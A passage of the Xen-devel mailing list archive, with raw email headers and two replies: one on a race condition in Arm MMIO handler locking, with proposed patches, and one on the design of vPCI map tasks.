 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 07:27:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783607227; x=1784212027; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MigA0hIdreQVCT7qpbPJCea6C7Q9Iz8yyiyEcCmO4lk=;
        b=NC4dwvC8oMuONOeSSxsTjwLQpo8sqzcdxkuEYSPADsSZVlNEAYGetWb25Vb85Ne30c
         7fxy9wJVnvUeX3shgf5MzqfbQNSion90kD+hkt9hTMcDkSL0no2q6yFAZA4UbSFXLUTi
         HYdwCez4f9IoL4ZAl0vcbf2m+xiHUC2TNioGfZ8OGyPaUQ6knUmhsxF2FTT2CTGtyoz9
         6fnh7nrHLF9bqvWf1kx7Bk4yVZMDjT/pwtx/o9WIj2FuLIbVO4FqVzD1kVPQvtOtZGOw
         kKrCsHstcqFpJs3DsdnXEwnim7so1cZCwFCYAFnJILURrPItYIkqJfOJpZIx4SOHy49q
         AvsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783607227; x=1784212027;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=MigA0hIdreQVCT7qpbPJCea6C7Q9Iz8yyiyEcCmO4lk=;
        b=XecXI5wy9ey9cDCVYLJ7n/Fe5gC0K8fRQ8A0NW6K8UB7mAbri7iZjKJLP5Lxj8MltR
         Cz28HynyZoA4y+iuan75JVoBv7ZBhb6vfalBj9i+zCEMiUjlDqefcoDIOYsk7xgNBIc6
         BOKOaAWxGnFxvLt6R9YtwmjBO1GIBWSE57SXyscQD5Xq1papsay0jAyVY0/CC9cyE74L
         vXHooGX+E37UC25rptMZDN/1qtJdm7pn9FQ+2BaFhRPCWf19syku6z2xV5W7csD9rc34
         wboyPZwPJEz0vj+o4HZZJl5xFN/CTLPVtCrCpZw3KGYNgA4dWDgJ55qwA15TziOhfqWz
         syag==
X-Forwarded-Encrypted: i=1; AHgh+RrWr42Zvfqhru0Lf+GInKxciYngBOqXgGdQuWCvH4CgAyu0bunpIvyYZWDRN1xUpsVEMCMvt4yDapI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxrnPbIbJY+KhZghZUBskl7dvCj/qZyCEQv+MtY/s16sJ3KE5aD
	r2g636o2mQ8k0JSs6IGydn1gXFY0cwhgtAXbdElrP9v1Kb7X9gjip0Y3
X-Gm-Gg: AfdE7cnt7RZ2RAp5IHfxwbl3l4pPK0IcOd0/tN1yJZrGstXUs21FDrjB8/h+gbsLy5H
	Su/5fGOEWqEckhOtqwGt3OmOEjAbe20K/btOmWWhZgYwi7687P2meyMrfz7/ZqCQhxxxZDZBLHJ
	yL0DpLphUxvPbt+yd6tbNcpc/ZjC5DljQ5S6TI7V8RMZm+8Em3Nx4docAB9f6wpiZqC1E9Fc4xc
	FyoeUSYuAMpbdMJtDItBB1M/pV7L1kcgtevG3DgF6PQvT92sYahr6bIXgqx8/GVEzAFSGv1Wx6I
	pCL/aulibn+OzC0WZRYDi/cALWD6Eth0QEKs4wcYXLlWX7/QW76JZlJe89YykumQssedAwfRwdQ
	XI1e+Mxp/eIwFcpmeSsSftjXPN4ilIBiFct9nBIo/nMJ0VK1Ly2gHOXcoEcFfr0pWnhcJqbcaKh
	9aqdWGlg6p8DOZ6rxsSlJOyeBsktdhkRUCjISfMvbhkisMD2mgQm0kwuexsy2GhiJ7yh4=
X-Received: by 2002:a05:600c:34c1:b0:492:7083:e5a with SMTP id 5b1f17b1804b1-493ee0fe824mr25661445e9.31.1783607226995;
        Thu, 09 Jul 2026 07:27:06 -0700 (PDT)
Message-ID: <cd78972e-88d5-471d-a201-5f9cd1392c73@gmail.com>
Date: Thu, 9 Jul 2026 16:27:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: Question regarding Locking in the MMIO Handling Framework on Arm
To: Julien Grall <julien@xen.org>, Xen-devel <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>,
 "Orzel, Michal" <Michal.Orzel@amd.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>
References: <89509e85-3345-41f8-a6dd-5dc4ba3619ac@gmail.com>
 <e540b651-f9dd-434f-bcb1-11f5198d1267@xen.org>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <e540b651-f9dd-434f-bcb1-11f5198d1267@xen.org>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783607227-5C77AA0B-75A0BBF2/10/73395122804
X-purgate-type: spam
X-purgate-size: 7114

Hello Jullien,

On 7/9/26 2:09 PM, Julien Grall wrote:
> Hi Oleksii,
> 
> Thanks for the report.
> 
> On 09/07/2026 11:49, Oleksii Kurochko wrote:
>> I have a question regarding the locking in the MMIO handling framework 
>> on Arm.
>>
>> Is it sufficient to have read_lock() only in find_mmio_handler()? If
>> register_mmio_handler() is executed in parallel with 
>> find_mmio_handler() (which I assume was the reason for introducing the 
>> rwlock), aren't we still exposed to a race condition?
> 
> When the read-write lock was introduced, we didn't sort the entries. So 
> it was fine at the time. This bug was introduced by commit 8047e090f4 
> ("xen/arm: io: Use binary search for mmio handler lookup").
> 
> With this change, then we...
> 
>>
>> find_mmio_handler() returns a pointer to a handler, but the object it 
>> points to could be changed by a subsequent call to 
>> register_mmio_handler().
>> If register_mmio_handler() runs between find_mmio_handler() and 
>> handle_{write,read}(), we could end up operating on a different 
>> handler than the one that was originally found.
>>
>> In other words, shouldn't we acquire the read_lock() in 
>> try_handle_mmio() and keep it held for the entire duration of 
>> try_handle_mmio()?
> 
> ... either need to keep the lock for longer

I assume that register_mmio_handler() won't be called very often
after domain creation so it looks to me that this fix is simpler then ...

  or rework the code to
> allocate the handler structure.

... this. IIUC, you suggestion is to do something like:

diff --git a/xen/arch/arm/io.c b/xen/arch/arm/io.c
index 9707cadcf80e..a587135a6907 100644
--- a/xen/arch/arm/io.c
+++ b/xen/arch/arm/io.c
@@ -238,24 +238,24 @@ void register_mmio_handler(struct domain *d,
                             paddr_t addr, paddr_t size, void *priv)
  {
      struct vmmio *vmmio = &d->arch.vmmio;
-    struct mmio_handler *handler;
+    struct mmio_handler *handler = xzalloc(struct mmio_handler);

-    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
-
-    write_lock(&vmmio->lock);
-
-    handler = &vmmio->handlers[vmmio->num_entries];
+    BUG_ON(!handler);

-    handler->ops = ops;
+    /* Fully initialize *before* publishing. */
+    handler->ops  = ops;
      handler->addr = addr;
      handler->size = size;
      handler->priv = priv;

-    vmmio->num_entries++;
+    write_lock(&vmmio->lock);
+
+    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
+
+    vmmio->handlers[vmmio->num_entries++] = handler;

-    /* Sort mmio handlers in ascending order based on base address */
-    sort(vmmio->handlers, vmmio->num_entries, sizeof(struct mmio_handler),
-         cmp_mmio_handler, swap_mmio_handler);
+    sort(vmmio->handlers, vmmio->num_entries, sizeof(*vmmio->handlers),
+         cmp_mmio_handler, swap_mmio_handler /* now swaps pointers */);

      write_unlock(&vmmio->lock);
  }

(of course, whith updating of handler field to "struct mmio_handler 
**handlers;").



Also, I thought about just use local variable for handler (probably that 
what you meant):

diff --git a/xen/arch/arm/io.c b/xen/arch/arm/io.c
index 9707cadcf80e..393018e02a83 100644
--- a/xen/arch/arm/io.c
+++ b/xen/arch/arm/io.c
@@ -107,19 +107,33 @@ static void swap_mmio_handler(void *_a, void *_b)
      SWAP(*a, *b);
  }

-static const struct mmio_handler *find_mmio_handler(struct domain *d,
-                                                    paddr_t gpa)
+static bool find_mmio_handler(struct domain *d, paddr_t gpa,
+                              struct mmio_handler *out)
  {
      struct vmmio *vmmio = &d->arch.vmmio;
      struct mmio_handler key = {.addr = gpa};
      const struct mmio_handler *handler;
+    bool found = false;

      read_lock(&vmmio->lock);
+
      handler = bsearch(&key, vmmio->handlers, vmmio->num_entries,
                        sizeof(*handler), cmp_mmio_handler);
+    if ( handler )
+    {
+        /*
+         * Copy the handler while holding the lock: a concurrent
+         * register_mmio_handler() re-sorts the array in place, so the
+         * entry pointed to by the bsearch() result may change once the
+         * lock is released.
+         */
+        *out = *handler;
+        found = true;
+    }
+
      read_unlock(&vmmio->lock);

-    return handler;
+    return found;
  }

  void try_decode_instruction(const struct cpu_user_regs *regs,
@@ -187,7 +201,7 @@ enum io_state try_handle_mmio(struct cpu_user_regs 
*regs,
                                mmio_info_t *info)
  {
      struct vcpu *v = current;
-    const struct mmio_handler *handler = NULL;
+    struct mmio_handler handler;
      int rc;

      ASSERT(info->dabt.ec == HSR_EC_DATA_ABORT_LOWER_EL);
@@ -198,8 +212,7 @@ enum io_state try_handle_mmio(struct cpu_user_regs 
*regs,
          return IO_ABORT;
      }

-    handler = find_mmio_handler(v->domain, info->gpa);
-    if ( !handler )
+    if ( !find_mmio_handler(v->domain, info->gpa, &handler) )
      {
          bool trap_unmapped = v->domain->options &
  
XEN_DOMCTL_CDF_trap_unmapped_accesses;
@@ -209,7 +222,7 @@ enum io_state try_handle_mmio(struct cpu_user_regs 
*regs,
          else if ( rc == IO_UNHANDLED && !trap_unmapped )
          {
              /* Fallback to the unmapped handler. */
-            handler = &unmapped_handler;
+            handler = unmapped_handler;
          } else {
              return rc;
          }
@@ -228,9 +241,9 @@ enum io_state try_handle_mmio(struct cpu_user_regs 
*regs,
       * instruction on the emulated MMIO region.
       */
      if ( info->dabt.write )
-        return handle_write(handler, v, info);
+        return handle_write(&handler, v, info);
      else
-        return handle_read(handler, v, info);
+        return handle_read(&handler, v, info);
  }


What I am also thinking about if read-write lock is enough here. For 
example, if we will have hypothetical MMIO unregistered (why we don't 
have it now? Will we ever need it?) then we could be in a trouble:

CPU0 (vCPU trapping MMIO)               CPU1 (hypothetical unregister)

try_handle_mmio()
   find_mmio_handler()
     read_lock()
     bsearch() -> finds handler H
     read_unlock()          <-- protection ends here
                                           unregister_mmio_handler()
                                            write_lock()
                                            remove H's pointer from array
                                            write_unlock()
                                          xfree(H)   <-- H's memory freed
   handle_write(H, ...)
     H->ops->write(...)     <-- use-after-free: reads freed memory,
                                calls through a dangling ops pointer

If we should care about that hypothetical unregister case then it is 
better just to go with solution of "to keep the lock for longer" 
basically while handler is found and used in try_handle_mmio().

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 15:10:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 15:10:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358250.1612454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whqOW-0007i4-Nr; Thu, 09 Jul 2026 15:10:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358250.1612454; Thu, 09 Jul 2026 15:10:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whqOW-0007hx-LG; Thu, 09 Jul 2026 15:10:32 +0000
Received: by outflank-mailman (input) for mailman id 1358250;
 Thu, 09 Jul 2026 15:10:31 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whqOV-0007hr-F5
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:10:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whqOU-00CRjr-Rs
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:10:30 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4fb9d9-e002-0a2a0a5209dd-0a2a450cd44a-36
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:10:30 +0200
Received: from [52.101.56.15]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4fb9e3-e897-0a2a450c0019-3465380fd9fa-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:10:30 +0200
Received: from DM4PR12MB6472.namprd12.prod.outlook.com (2603:10b6:8:bc::7) by
 CH3PR12MB8710.namprd12.prod.outlook.com (2603:10b6:610:173::15) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 15:10:25 +0000
Received: from DM4PR12MB6472.namprd12.prod.outlook.com
 ([fe80::4a4d:4208:3862:fb7a]) by DM4PR12MB6472.namprd12.prod.outlook.com
 ([fe80::4a4d:4208:3862:fb7a%6]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 15:10:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=pR0De8Uv1iSRu2VYz3UeA8o2UMOPiU7vMwkTgMq+4txZUdl1w9mdL7o3/QAZ5AxBtMbh1+MjPTut9c4yp8tTs9v8StTVAW53PMWfCG7IfNJJHOGYlFc548++a8zTp7ovSdkjmjWSNNrpz3nvVIpVALuFORKlPu6OsnzIeFaoiTKaAwZeQ8zGolTWvTfZX4tL169yF8DDkQI4bdaAVUPFRhcG7HnE/T3pn7RAqo1JwxH+rTq9pdRHB/q9NKNl9Sd4Ee6mjDH18zZselIhHbCwcYwq2GlUNRAWVu/taZx+eBTorifvVPV7RScklJeltoiq2oQzWQ1kSeMYaA6ktRxEaQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=7ZVzRQtnUTwP8wpKKwYeg5dC+kJgA+KulGGmLGXjpAc=;
 b=NroDSzIj98MG/GIwPOzk672FN4RSqexYEbklB/BhTI7ECXQOTDitcFL4KAgCd9fcQtPqDu9rJL7PD4nDbVLidO8IW7WOH+rcJ/9+7A17AjmlVAmgCtRMVzxYFoU5YjAkuWjime5j8Z+kJJ2o4DUXiz3Lu6AiWR9OKYxzpGbmGQK/UgoBZnAApmv0fxprGwdat60m4pt0twy9pnQCKkV2pvQDSlugUkQiXEApMcZdZq7A6y8qSTs1Ssb3Sth5VPWrujoX3foj6pKXmS7YMiJnpQxvWYLd2lETaIAlohXfcX5vKnLgW5ggZRDpUmh4QRPpJ5nOKfVHKjJbwcQVuVvGiQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=amd.com; dmarc=pass action=none header.from=amd.com; dkim=pass
 header.d=amd.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=7ZVzRQtnUTwP8wpKKwYeg5dC+kJgA+KulGGmLGXjpAc=;
 b=av8HIussgLi/Qsxdkckf2e23TdH4Du15510tEDYnW9mO4/sU19OII9hYpNM2+DnN/QCLj7Y2n/rL5rI0VFGbL3WM57oO9h58pOeUtGxxyM4GJ/YZ7haPuil1hu5ISXEe5ix1W857Xfgn4NfzxM6sC15ec1s3uRfNNV94GM6vFAM=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=amd.com;
Message-ID: <ef345395-bbfe-48b2-85a5-31b8f43ac746@amd.com>
Date: Thu, 9 Jul 2026 11:10:22 -0400
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 4/7] vpci: allow queueing of mapping operations
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Mykyta Poturai <Mykyta_Poturai@epam.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, Stefano Stabellini <sstabellini@kernel.org>
References: <cover.1775742115.git.mykyta_poturai@epam.com>
 <97e3323363ab442ccb21a00d5ed0488b6672870a.1775742115.git.mykyta_poturai@epam.com>
 <aeizOTxvSXlLKGHX@macbook.local>
Content-Language: en-US
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
In-Reply-To: <aeizOTxvSXlLKGHX@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: CH0PR04CA0113.namprd04.prod.outlook.com
 (2603:10b6:610:75::28) To DM4PR12MB6472.namprd12.prod.outlook.com
 (2603:10b6:8:bc::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DM4PR12MB6472:EE_|CH3PR12MB8710:EE_
X-MS-Office365-Filtering-Correlation-Id: 79dba1d8-c243-48b0-7ce9-08deddcc340d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|22082099003|18002099003|56012099006|11063799006|4143699003;
X-Microsoft-Antispam-Message-Info:
	2NLHrE3x3e+1OnuP5wq7FPUVKykgcXytBBitcERPl9ElwPMMATQVubinufPKIiX1HwEZezOQPVVA83UeVvGJNTgIzKN2E2vMzS2eBOq+nCr3AC6SVTEGYT30rZojesG6ibkzhlhcRfvld6JwrD4qbZtpPFLz+W8UKxZBJ0TmzWttsmu5hBxAVsXnF4fKCiVkXgwZ7+IW1FHS5jixyWviAdBzbe6bWmEhZipRq5z5vt4leOKy+PQC25IbFD4nOdhtUwyxwbhhVt/ImXUXWOHoUduxW3Y6Wa27Er1g9wLbLF7pRwcxAWRyqkj0LXdmhw6Uv4tMD+ZTWswPNYJzB0LNY1Wssdcm/8TkqbMmvbuN/CgXXOGQ1zMxule1OuZe2//l4DmXjvU2LdNF+9QlwLczi4eUfpoX3tXINXdLPn/fDLkSTK0g+07MxHk/u9y7mP2hBO+UKtzUYn404oyby3g8nwFxlgK27R7tkt0Jf8ExU6fIKnOfGkDPh1fSXk+IcTDiz83nxA1xlsOjlSfPq464gSINgU7eKMx4HVBVxVG8AcUsUwYjkMO56NQTweNkctlr8Y9nCjLdkgcaXbY/xqFJcnk5LAClSIvcozQCeY7zbdgR/qjORE9cGhOkiNsAym4t8Xb8Zez8xTLaySTcyklNd1SCtsBxWV0+hw5h3++ZAg4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DM4PR12MB6472.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(22082099003)(18002099003)(56012099006)(11063799006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?TXM0amloTTB4Zmk2Q3RMZzEvc00yT1czQWF6ckQvTExoazViUjYvc1EzQUsz?=
 =?utf-8?B?NU9GMXVSVjd2YXU4QnlmM1pEdlQ4RGxVZ1RxdjNneHJZVmFLS3JlVHU2dUYy?=
 =?utf-8?B?RExkcFZRZ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dqdkFmTlMxUkFO?=
 =?utf-8?B?TFh0YVBUZWJxaDBKWnZScnFwVitmYmhZemh6QzdxQW56NkNvTHlnOEw2eGFG?=
 =?utf-8?B?bmZCSjh0VGZPSDFUTzJkWG1Jbk1OWDRVd3ZEL1BqSlJFQ1RKSkJPQ1hOaXRn?=
 =?utf-8?B?czZiaVVpcXFReWFlUGJNaE9IYlFGZTFLOTdZcDBaTS80ZHJYcmpRV0FmbEpE?=
 =?utf-8?B?TnVtWlc0Q1BTVzlPTFZEdmpCYmtxNCtJQjlPNkZGSUZ5ZXZzbytWNGdwYVQw?=
 =?utf-8?B?RHZMYnh0aHFkUkVyWDlZVlAxZXkya0JxeE5lTzlNRk5uR2duRzhZVHc0bmww?=
 =?utf-8?B?UGppekpHcG5reE4zV21JeVR1c1BZekpFem1CbUdOcjIxU1FTczRFSVl4SHNh?=
 =?utf-8?B?ejZHbExRb0xRdHI0MXpOQjJaUmxhem5FVDBUSzBoOWZFSUR0b2lUZVpLUGZK?=
 =?utf-8?B?ZDg5Q2hXK0Zha2RhcWxES1FucUtnSW9Lckx2L3FIcHVmaWlMSE9zZz09?=
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 79dba1d8-c243-48b0-7ce9-08deddcc340d
X-MS-Exchange-CrossTenant-AuthSource: DM4PR12MB6472.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 15:10:25.2600
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: qZrgbhaqQCg8M/XrohIE8SUcjlyyOCLeWwEhntCkPkd91eliMvOONVVt6yRIrBZ6AfbmOeU8s3vXN01Ke7aNJg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR12MB8710
X-purgate-ID: tlsNG-d25034/1783609830-D75666B2-8F9D28F8/0/0
X-purgate-type: clean
X-purgate-size: 2119

On 4/22/26 07:38, Roger Pau MonnÃ© wrote:
> On Thu, Apr 09, 2026 at 02:01:33PM +0000, Mykyta Poturai wrote:
>> diff --git a/xen/include/xen/vpci.h b/xen/include/xen/vpci.h
>> index b55bacbe6e..e34f7abe6d 100644
>> --- a/xen/include/xen/vpci.h
>> +++ b/xen/include/xen/vpci.h
>> @@ -155,14 +154,23 @@ struct vpci {
>>  };
>>  
>>  #ifdef __XEN__
>> -struct vpci_vcpu {
>> +struct vpci_map_task {
>>      /* Per-vcpu structure to store state while {un}mapping of PCI BARs. */
>> -    const struct pci_dev *pdev;
>> -    struct rangeset *mem[ARRAY_SIZE(((struct vpci_header *)NULL)->bars)];
>> +    struct list_head next;
>> +    struct vpci_bar_map {
>> +        uint64_t addr;
>> +        uint64_t guest_addr;
>> +        struct rangeset *mem;
>> +    } bars[ARRAY_SIZE(((struct vpci_header *)NULL)->bars)];
> 
> I'm a bit puzzled (possibly missing something), but why are you
> keeping this vpci_bar_map array here?  AFAICT map tasks are allocated
> on-demand after this change (by using {alloc,destroy}_map_task()).


Currently, a single mapping operation encompasses all BARs, so it's less
overhead. This is tied to the way modify_bars() populates and queues a mapping
operation: it iterates over the BARs multiple times before queuing it up. I
could see a point in perhaps allocating a map task per BAR. Indeed, in the next
rev of the BAR-write-with-memory-decoding patch, I'm planning to introduce the
ability to map/unmap a single BAR. If we allocate a map task per BAR, however,
we'd have additional overhead with tracking 'const struct pci_dev *pdev' and
'bool map' per BAR instead of per PCI device, along with refactoring of
modify_bars(). Since mapping only a single BAR is still a rather uncommon corner
case, my first thought is that it's not necessarily worth it to make struct
map_task only hold information for a single BAR. You can see a preview of the
next rev of the BAR-write-with-memory-decoding patch at [1] since I haven't yet
sent it out.

[1] https://gitlab.com/xen-project/people/stewarthildebrand/xen/-/commit/d20f252670dff2d01c4c0c4b815abb2cae07062e


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 15:23:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 15:23:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358264.1612462 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whqbG-00012M-SL; Thu, 09 Jul 2026 15:23:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358264.1612462; Thu, 09 Jul 2026 15:23:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whqbG-00012F-Pm; Thu, 09 Jul 2026 15:23:42 +0000
Received: by outflank-mailman (input) for mailman id 1358264;
 Thu, 09 Jul 2026 15:23:41 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whqbF-000127-01
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:23:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whqbD-00CTuW-Pg
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 17:23:39 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4fbcd8-2eae-0a2a0a5409dd-0a2a4502a746-44
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:23:39 +0200
Received: from [40.107.162.99]
 (helo=PA4PR04CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4fbcfb-64c6-0a2a45020019-286ba263f203-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 17:23:39 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by MI3PR03MB11716.eurprd03.prod.outlook.com (2603:10a6:290:75::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.12; Thu, 9 Jul
 2026 15:23:37 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 15:23:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
